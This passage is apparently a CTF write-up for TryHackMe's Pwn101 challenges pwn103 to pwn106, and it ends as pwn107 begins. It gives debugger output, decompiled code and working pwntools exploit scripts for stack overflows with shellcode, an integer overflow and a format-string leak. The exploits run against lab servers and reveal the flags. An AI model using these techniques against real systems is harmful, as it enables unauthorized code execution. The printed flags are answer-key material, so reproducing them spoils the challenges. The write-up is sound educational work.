⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣆⣸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿

  [THM Discord Server]

➖➖➖➖➖➖➖➖➖➖➖
1) 📢 Announcements
2) 📜 Rules
3) 🗣  General
4) 🏠 rooms discussion
5) 🤖 Bot commands
➖➖➖➖➖➖➖➖➖➖➖
⌨  Choose the channel: 3

🗣  General:

------[jopraveen]: Hello pwners 👋
------[jopraveen]: Hope you're doing well 😄
------[jopraveen]: You found the vuln, right? 🤔

------[pwner]: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Try harder!!! 💪

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401377 in general ()

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x13              
$rbx   : 0x007fffffffdf48  →  0x007fffffffe2ac  →  "/home/mark/Desktop/B2B/THM/Pwn101/pwn103/pwn103.pw[...]"
$rcx   : 0x007ffff7ec10d0  →  0x5877fffff0003d48 ("H="?)
$rdx   : 0x1               
$rsp   : 0x007fffffffde18  →  "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"
$rbp   : 0x6161616a61616169 ("iaaajaaa"?)
$rsi   : 0x1               
$rdi   : 0x007ffff7f9da10  →  0x0000000000000000
$rip   : 0x00000000401377  →  <general+185> ret 
$r8    : 0x0000000040245d  →  0x2d2d007365790073 ("s"?)
$r9    : 0x007ffff7f9ba80  →  0x00000000fbad208b
$r10   : 0x007ffff7de1ee8  →  0x10001a00007c4c ("L|"?)
$r11   : 0x202             
$r12   : 0x0               
$r13   : 0x007fffffffdf58  →  0x007fffffffe2e3  →  "COLORFGBG=15;0"
$r14   : 0x0               
$r15   : 0x007ffff7ffd020  →  0x007ffff7ffe2e0  →  0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffde18│+0x0000: "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"      ← $rsp
0x007fffffffde20│+0x0008: "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]"
0x007fffffffde28│+0x0010: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0x007fffffffde30│+0x0018: "qaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0x007fffffffde38│+0x0020: "saaataaauaaavaaawaaaxaaayaaa"
0x007fffffffde40│+0x0028: "uaaavaaawaaaxaaayaaa"
0x007fffffffde48│+0x0030: "waaaxaaayaaa"
0x007fffffffde50│+0x0038: 0x00000061616179 ("yaaa"?)
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401370 <general+178>    call   0x401040 <puts@plt>
     0x401375 <general+183>    nop    
     0x401376 <general+184>    leave  
 →   0x401377 <general+185>    ret    
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pwn103.pwn103", stopped 0x401377 in general (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401377 → general()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  q
                                                                                                                                                                                                                   
┌──(venv)─(mark㉿haxor)-[~/…/B2B/THM/Pwn101/pwn103]
└─$ cyclic -l kaaa
40

The offset is 40. Here’s the script to exploit this binary (P.S) I had to debug movaps stack alignment by returning to a valid ret call before returning to admins_only

Solve script available at Exploit

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Binary filename
exe = './pwn103.pwn103'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

offset = 40

padding = "A" * offset
shell = elf.functions['admins_only']
movaps = 0x0000000000401016 # 0x0000000000401016: ret;

payload = flat([
    padding,
    movaps,
    shell
])

def send_payload():
    io.recvuntil('Choose the channel:')
    io.sendline('3')
    io.recvuntil('------[pwner]: ')
    io.sendline(payload)

send_payload()


# Got Shell?
io.interactive()

Running it locally works

└─$ python3 exploit.py   
[+] Starting local process './pwn103.pwn103': pid 47933
[*] Switching to interactive mode
Try harder!!! 💪

👮  Admins only:

Welcome admin 😄
$ ls -al
total 36
drwxr-xr-x 2 mark mark  4096 Feb 14 20:54 .
drwxr-xr-x 5 mark mark  4096 Feb 14 16:40 ..
-rw-r--r-- 1 mark mark  1215 Feb 14 20:54 exploit.py
-rwxr-xr-x 1 mark mark 20800 Feb 14 16:40 pwn103.pwn103
$

Now i’ll run it on the remote server

└─$ python3 exploit.py REMOTE 10.10.46.106 9003
[+] Opening connection to 10.10.46.106 on port 9003: Done
[*] Switching to interactive mode
Try harder!!! 💪
👮  Admins only:

Welcome admin 😄
$ ls -al
total 56
drwx------  2 pwn103 pwn103  4096 Feb  8  2022 .
drwxr-xr-x 12 root   root    4096 Feb  8  2022 ..
lrwxrwxrwx  1 pwn103 pwn103     9 Feb  8  2022 .bash_history -> /dev/null
-rw-r--r--  1 pwn103 pwn103   220 Apr  4  2018 .bash_logout
-rw-r--r--  1 pwn103 pwn103  3771 Apr  4  2018 .bashrc
-rw-r--r--  1 pwn103 pwn103   807 Apr  4  2018 .profile
-rwxrwxrwx  1 pwn103 pwn103    19 Jan 28  2022 flag.txt
-rwxrwxrwx  1 pwn103 pwn103 20800 Jan 28  2022 pwn103
-rwxrwxrwx  1 pwn103 pwn103  7379 Jan 28  2022 pwn103.c
$ cat flag.txt
THM{w3lC0m3_4Dm1N}
$ 

Challenge 4 = PWN104

Basic File Checks

└─$ file pwn104.pwn104 
pwn104.pwn104: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=60e0bab59b4e5412a1527ae562f5b8e58928a7cb, for GNU/Linux 3.2.0, not stripped
                                                                                                                                                                                                                   
┌──(venv)─(mark㉿haxor)-[~/…/B2B/THM/Pwn101/pwn104]
└─$ checksec pwn104.pwn104 
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn104/pwn104.pwn104'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

We’re working with a x64 binary which has no protections available

I’ll run it to know what it does

└─$ ./pwn104.pwn104
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 104          

I think I have some super powers 💪
especially executable powers 😎💥

Can we go for a fight? 😏💪
I'm waiting for you at 0x7ffd9518bba0
ls

We see it leaks an address of the stack and receives our input

Decompiling the binary using ghidra

Here’s the main function

void main(void)

{
  undefined input [80];
  
  setup();
  banner();
  puts(&DAT_00402120);
  puts(&DAT_00402148);
  puts(&DAT_00402170);
  printf("I\'m waiting for you at %p\n",input);
  read(0,input,200);
  return;
}

We see what the program does

1. Pritns out the banner 
2. Leaks an address of the start of our input buffer on the stack
3. Recieves our input and reads 200 bytes of data into a buffer that can only hold up to 80 bytes of data # bug here

This is a buffer overflow since we’re allowed to store 800bytes of data in a 80 bytes buffer and from the protections of the binary we know that NX (No-Execute) is disabled so we can push shellcode to the stack and execute it

Firstly i’ll get the offset needed to overwrite the rip

└─$ cyclic 100    
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
                                                                                                                                                                                                                   
┌──(venv)─(mark㉿haxor)-[~/…/B2B/THM/Pwn101/pwn104]
└─$ gdb -q pwn104.pwn104 
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.11
Reading symbols from pwn104.pwn104...
(No debugging symbols found in pwn104.pwn104)
gef➤  r
Starting program: /home/mark/Desktop/B2B/THM/Pwn101/pwn104/pwn104.pwn104 
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc9000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 104          

I think I have some super powers 💪
especially executable powers 😎💥

Can we go for a fight? 😏💪
I'm waiting for you at 0x7fffffffdde0
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Program received signal SIGSEGV, Segmentation fault.
0x000000000040124e in main ()


[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x65              
$rbx   : 0x007fffffffdf48  →  0x007fffffffe2ac  →  "/home/mark/Desktop/B2B/THM/Pwn101/pwn104/pwn104.pw[...]"
$rcx   : 0x007ffff7ec102d  →  0x5b77fffff0003d48 ("H="?)
$rdx   : 0xc8              
$rsp   : 0x007fffffffde38  →  0x6161617861616177 ("waaaxaaa"?)
$rbp   : 0x6161617661616175 ("uaaavaaa"?)
$rsi   : 0x007fffffffdde0  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$rdi   : 0x0               
$rip   : 0x0000000040124e  →  <main+129> ret 
$r8    : 0x007ffff7f634c0  →  "0123456789abcdefghijklmnopqrstuvwxyz"
$r9    : 0x78              
$r10   : 0x007ffff7dd8b40  →  0x0010001200001a7e
$r11   : 0x246             
$r12   : 0x0               
$r13   : 0x007fffffffdf58  →  0x007fffffffe2e3  →  "COLORFGBG=15;0"
$r14   : 0x0               
$r15   : 0x007ffff7ffd020  →  0x007ffff7ffe2e0  →  0x0000000000000000
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffde38│+0x0000: 0x6161617861616177     ← $rsp
0x007fffffffde40│+0x0008: 0x00007f0a61616179
0x007fffffffde48│+0x0010: 0x000000004011cd  →  <main+0> push rbp
0x007fffffffde50│+0x0018: 0x00000100400040 ("@"?)
0x007fffffffde58│+0x0020: 0x007fffffffdf48  →  0x007fffffffe2ac  →  "/home/mark/Desktop/B2B/THM/Pwn101/pwn104/pwn104.pw[...]"
0x007fffffffde60│+0x0028: 0x007fffffffdf48  →  0x007fffffffe2ac  →  "/home/mark/Desktop/B2B/THM/Pwn101/pwn104/pwn104.pw[...]"
0x007fffffffde68│+0x0030: 0x3c1a2945f466f7f0
0x007fffffffde70│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401247 <main+122>       call   0x401050 <read@plt>
     0x40124c <main+127>       nop    
     0x40124d <main+128>       leave  
 →   0x40124e <main+129>       ret    
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pwn104.pwn104", stopped 0x40124e in main (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40124e → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ 

┌──(venv)─(mark㉿haxor)-[~/…/B2B/THM/Pwn101/pwn104]
└─$ cyclic -l waaa
88

The offset is 88. Here’s how the exploit will go

1. I'll strip out the leaked input buffer address 
2. Overwrite the rip
3. Inject shellcode to the stack
4. Make the return address return to the shellcode

Here’s the solve script Exploit

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Binary filename
exe = './pwn104.pwn104'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

print(io.recvuntil("I'm waiting for you at"))
leak = io.recvline()
addr = int(leak.strip("\n"), 16) 
print('Leaked input stack address ' + hex(addr))

offset = 88
shellcode = asm(shellcraft.sh())
padding = b'A' * (offset - len(shellcode))


# Build the payload
payload = flat([
    shellcode,
    padding,
    addr
])

# Send payload
io.sendline(payload)

# Got Shell?
io.interactive()

Running it locally works

└─$ python exploit.py
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[+] Starting local process './pwn104.pwn104': pid 73870
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 104          

I think I have some super powers 💪
especially executable powers 😎💥

Can we go for a fight? 😏💪
I'm waiting for you at
Leaked input stack address 0x7fff8d608d70
[*] Switching to interactive mode
$ ls -al
total 28
drwxr-xr-x 2 mark mark  4096 Feb 14 22:28 .
drwxr-xr-x 6 mark mark  4096 Feb 14 21:11 ..
-rw-r--r-- 1 mark mark  1285 Feb 14 22:26 exploit.py
-rwxr-xr-x 1 mark mark 16296 Feb 14 21:11 pwn104.pwn104
$

Now i’ll run it on the remote server

└─$ python exploit.py REMOTE 10.10.46.106 9004        
[+] Opening connection to 10.10.46.106 on port 9004: Done
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 104          

I think I have some super powers 💪
especially executable powers 😎💥

Can we go for a fight? 😏💪
I'm waiting for you at
Leaked input stack address 0x7fffb47c6a90
[*] Switching to interactive mode
$ LS -AL
$ ls -al
total 44
drwx------  2 pwn104 pwn104  4096 Feb  8  2022 .
drwxr-xr-x 12 root   root    4096 Feb  8  2022 ..
lrwxrwxrwx  1 pwn104 pwn104     9 Feb  8  2022 .bash_history -> /dev/null
-rw-r--r--  1 pwn104 pwn104   220 Apr  4  2018 .bash_logout
-rw-r--r--  1 pwn104 pwn104  3771 Apr  4  2018 .bashrc
-rw-r--r--  1 pwn104 pwn104   807 Apr  4  2018 .profile
-rwxrwxrwx  1 pwn104 pwn104    30 Jan 28  2022 flag.txt
-rwxrwxrwx  1 pwn104 pwn104 16296 Jan 28  2022 pwn104
-rwxrwxrwx  1 pwn104 pwn104   832 Jan 28  2022 pwn104.c
$ cat flag.txt
THM{0h_n0o0o0o_h0w_Y0u_Won??}
$

Challenge 5 = PWN105

Basic File Checks

└─$ file pwn105.pwn105
pwn105.pwn105: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=efe6d094462867e6b08e74de43fb7126e7b14ee4, for GNU/Linux 3.2.0, not stripped

└─$ checksec pwn105.pwn105
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn105/pwn105.pwn105'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

We’re working with a x64 binary which is dynamically linked and not stripped

All protections are enabled on the binary so we’re likely not dealing with a buffer overflow

I’ll run it to know what it does

└─$ ./pwn105.pwn105 
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 105          


-------=[ BAD INTEGERS ]=-------
|-< Enter two numbers to add >-|

]>> 1
]>> 1

[*] ADDING 1 + 1
[*] RESULT: 2

We see that it recieves 2 numbers and sums them up

Using ghidra i’ll decompile the binary

Here’s the decompiled main function

void main(void)

{
  long in_FS_OFFSET;
  uint num1;
  uint num2;
  uint sum;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  banner();
  puts("-------=[ BAD INTEGERS ]=-------");
  puts("|-< Enter two numbers to add >-|\n");
  printf("]>> ");
  __isoc99_scanf(&DAT_0010216f,&num1);
  printf("]>> ");
  __isoc99_scanf(&DAT_0010216f,&num2);
  sum = num2 + num1;
  if (((int)num1 < 0) || ((int)num2 < 0)) {
    printf("\n[o.O] Hmmm... that was a Good try!\n",(ulong)num1,(ulong)num2,(ulong)sum);
  }
  else if ((int)sum < 0) {
    printf("\n[*] C: %d",(ulong)sum);
    puts("\n[*] Popped Shell\n[*] Switching to interactive mode");
    system("/bin/sh");
  }
  else {
    printf("\n[*] ADDING %d + %d",(ulong)num1,(ulong)num2);
    printf("\n[*] RESULT: %d\n",(ulong)sum);
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

From this we know what it does

1. Prints out the banner
2. It receives our input and stores it in variable num1
3. It receives our input and stores it in variable num2
4. A variable is made which sums up num1 and num2
5. An if check is done to know if the num1 variable is less than zero or the num2 is leess than 0
6. If the check is meet it exits 
7. Else if the sum variable is less than zero it pops a shell 
8. But if non of that is meet it justs sums up our input and give its calculated value

Now from this we know that we can’t give any negative number cause it will make the program exits

And the aim is to make the sum variable a negative number whilst the value stored in num1 or num2 shouldn’t be a negative number

The way around this is to perform an integer overflow

Here’s the resource Resouce

So when i give it this input 2,147,483,647 as num1 and 1 as num2 it will evaluate to a negative number

Trying it locally works and the reason is because the maximum value of a signed integer is 2147483647 so giving it 1 goes above the maximum value

└─$ ./pwn105.pwn105
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 105          


-------=[ BAD INTEGERS ]=-------
|-< Enter two numbers to add >-|

]>> 2147483647
]>> 1

[*] C: -2147483648
[*] Popped Shell
[*] Switching to interactive mode
$ ls -al
total 28
drwxr-xr-x 2 mark mark  4096 Feb 15 20:47 .
drwxr-xr-x 7 mark mark  4096 Feb 14 22:33 ..
-rwxr-xr-x 1 mark mark 16584 Feb 14 22:41 pwn105.pwn105
$

Here’s the solve script Exploit

Running it remotely works

└─$ python exploit.py REMOTE 10.10.146.62 9005
[+] Opening connection to 10.10.146.62 on port 9005: Done
[*] Switching to interactive mode
 
[*] C: -2147483648
[*] Popped Shell
[*] Switching to interactive mode
$ LS -AL
$ ls -al
total 48
drwx------  2 pwn105 pwn105  4096 Feb  8  2022 .
drwxr-xr-x 12 root   root    4096 Feb  8  2022 ..
lrwxrwxrwx  1 pwn105 pwn105     9 Feb  8  2022 .bash_history -> /dev/null
-rw-r--r--  1 pwn105 pwn105   220 Apr  4  2018 .bash_logout
-rw-r--r--  1 pwn105 pwn105  3771 Apr  4  2018 .bashrc
-rw-r--r--  1 pwn105 pwn105   807 Apr  4  2018 .profile
-rwxrwxrwx  1 pwn105 pwn105    25 Jan 28  2022 flag.txt
-rwxrwxrwx  1 pwn105 pwn105 16584 Jan 28  2022 pwn105
-rwxrwxrwx  1 pwn105 pwn105  1140 Jan 28  2022 pwn105.c
$ cat flag.txt
THM{VerY_b4D_1n73G3rsss}

Challenge 6 = PWN106

Basic File Checks

└─$ file pwn106user.pwn106-user              
pwn106user.pwn106-user: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=60a1dfa10c02bcc6d113cb752053893ac9e2f4f1, for GNU/Linux 3.2.0, not stripped

└─$ checksec pwn106user.pwn106-user                         
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn106/pwn106user.pwn106-user'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

We’re working with a x64 binary which has all protections enabled except RELRO which is partial meaning the address in GOT (Global Offset Table) can be overwritten

I’ll run it to know what it does

└─$ ./pwn106user.pwn106-user 
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 107          

🎉 THM Giveaway 🎉

Enter your THM username to participate in the giveaway: pwn

Thanks pwn

It prints out the banner then receives out input and prints it out back

I’ll decompile using ghidra

Here’s the decompiled main function

void main(void)

{
  long in_FS_OFFSET;
  char input [56];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  banner();
  puts(&DAT_00102119);
  printf("Enter your THM username to participate in the giveaway: ");
  read(0,input,0x32);
  printf("\nThanks ");
  printf(input);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Looking at the code we see what it does

1. Prints out the banner
2. It receives our input using read() and reads in 0x32 bytes which is stored in the input buffer
3. It then prints out the the value stored in input[]

From this we can tell the vulnerability lays in the printf(input)

This is a format string vulnerability cause it doesn’t specify the format used to print the value stored in input

No buffer overflow cause it reads in 0x32 bytes which is stored in input buffer and the input buffer can hold up to 56 bytes

With this format string vulnerabilty we can leak address off the stack

So here’s how it basically works

There are various format specifier like %p, %x, %s, %hn, %n but i’ll use %p which will leak address off the stack in form of hex

└─$ ./pwn106user.pwn106-user
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 107          

🎉 THM Giveaway 🎉

Enter your THM username to participate in the giveaway: %p.%p.%p.%p.%p.%p

Thanks 0x7fffb1374300.(nil).(nil).0x564c8184f380.0x7f60258a86a0.0x5b5858587b4d4854

We see that some address are leaked. And i can try decoding that from hex but i’ll decode the ones that doesn’t look like a libc address or stack address i.e 0xff

└─$ echo 0x564c8184f380 | xxd -r -p ; echo 0x5b5858587b4d4854 | xxd -r -p
VL���[XXX{MHT    

From the result it seems to be like the flag format THM{ but in reversed form cause of little endianess

So i can leak off many address off the stack and try decoding since likely i will get the flag but doing it manually is going to take time

Script avaiable here Exploit

On running the exploit fuzz script leaks that the flag is stored on the stack but its redacted

─$ python3 exploit.py                          
[+] Starting local process './pwn106user.pwn106-user': pid 25789
0: b'%0$p\n'
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25789)
[+] Starting local process './pwn106user.pwn106-user': pid 25791
1: b'0x7fff3216c3b0\n'
b'\xb0\xc3\x162\xff\x7f'
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25791)
[+] Starting local process './pwn106user.pwn106-user': pid 25793
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25793)
[+] Starting local process './pwn106user.pwn106-user': pid 25795
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25795)
[+] Starting local process './pwn106user.pwn106-user': pid 25799
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25799)
4: b'0x55d0a1678380\n'
b'\x80\x83g\xa1\xd0U'
[+] Starting local process './pwn106user.pwn106-user': pid 25803
5: b'0x7fd8213226a0\n'
b'\xa0&2!\xd8\x7f'
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25803)
[+] Starting local process './pwn106user.pwn106-user': pid 25805
6: b'0x5b5858587b4d4854\n'
b'THM{XXX['
[*] Stopped process './pwn106user.pwn106-user' (pid 25805)
[+] Starting local process './pwn106user.pwn106-user': pid 25807
7: b'0x6465725f67616c66\n'
b'flag_red'
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25807)
[+] Starting local process './pwn106user.pwn106-user': pid 25809
8: b'0x58585d6465746361\n'
b'acted]XX'
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25809)
[+] Starting local process './pwn106user.pwn106-user': pid 25811
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25811)
[[------------------------------SNIP---------------------------------------]
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25991)
97: b'0x7fffec3d5883\n'
b'\x83X=\xec\xff\x7f'
[+] Starting local process './pwn106user.pwn106-user': pid 25993
98: b'0x7fffc604788e\n'
b'\x8ex\x04\xc6\xff\x7f'
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25993)
[+] Starting local process './pwn106user.pwn106-user': pid 25995
99: b'0x7ffe5bbf38d1\n'
b'\xd18\xbf[\xfe\x7f'
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25995)
[*] THM{XXX[flag_redacted]XXX}%10$p
    \x10    Ijx\x7f@бD
    \x00\x00    \x7f8

We see that the flag is redacted THM{XXX[flag_redacted]XXX}

Now i’ll run it on the remote server

└─$ python3 exploit.py REMOTE 10.10.146.62 9006 
[+] Opening connection to 10.10.146.62 on port 9006: Done
0: b'%0$p\n'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
1: b'0x7ffd059b56e0\n'
b'\xe0V\x9b\x05\xfd\x7f'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
2: b'0x7eff44e608c0\n'
b'\xc0\x08\xe6D\xff~'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
4: b'0x8\n'
b'\x08'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
5: b'0x7f0717fb94c0\n'
b'\xc0\x94\xfb\x17\x07\x7f'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
6: b'0x5f5530797b4d4854\n'
b'THM{y0U_'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
7: b'0x5f3368745f6e3077\n'
b'w0n_th3_'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
8: b'0x5961774133766947\n'
b'Giv3AwaY'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
9: b'0x3168745f446e615f\n'
b'_anD_th1'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
10: b'0x756f595f73315f73\n'
b's_1s_You'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
[[-----------------------SNIP--------------------------]
[+] Opening connection to 10.10.146.62 on port 9006: Done
006: Done
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
97: b'0x19\n'
b'\x19'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
98: b'0x7ffdf94d5eb9\n'
b'\xb9^M\xf9\xfd\x7f'
[*] Closed connection to 10.10.146.62 port 9006
[+] Opening connection to 10.10.146.62 on port 9006: Done
99: b'0x1a\n'
b'\x1a'
[*] Closed connection to 10.10.146.62 port 9006
[*]THM{y0U_w0n_th3_Giv3AwaY_anD_th1s_1s_YouR_fl4G}%12$p

Challenge 7 = PWN107

Basic File Checks

